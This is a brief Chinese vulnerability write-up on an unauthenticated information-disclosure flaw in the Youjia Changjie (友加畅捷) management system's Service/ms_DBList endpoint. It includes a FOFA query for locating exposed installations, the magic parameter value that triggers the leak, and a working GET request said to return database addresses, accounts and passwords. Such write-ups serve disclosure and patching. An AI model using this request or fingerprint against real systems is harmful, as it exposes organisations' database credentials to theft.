漏洞简介

友加畅捷管理系统是一款专为小微商贸流通企业设计的财务业务一体化管理软件，涵盖进销存、财务、分销及移动管理等多个模块，旨在帮助企业实现高效的业务运营和财务核算。

该系统的 Service/ms_DBList 接口存在未授权访问漏洞，攻击者无需任何认证即可直接访问该接口，从而获取敏感信息。此漏洞可能导致企业内部数据泄露，包括但不限于用户列表、配置信息等，对企业的运营安全和数据隐私构成严重威胁。

影响版本

13.7004.1053.1000

fofa语法

icon_hash="2049187099" || fid="zzt8lL7SUwIIZQXZY6rTSw=="

漏洞分析

在 ServiceController 找到 ms_DBList 方法处理逻辑如下

当参数a=789234时，方法直接返回DBInfo列表，包含address、account、pwd等敏感字段，从而造成敏感信息泄露。

DBListSMS 方法类似

漏洞复现

GET /Service/ms_DBList?a=789234 HTTP/1.1
Host: youjiasoft.mrxn.net

响应回显数据库账户密码等敏感信息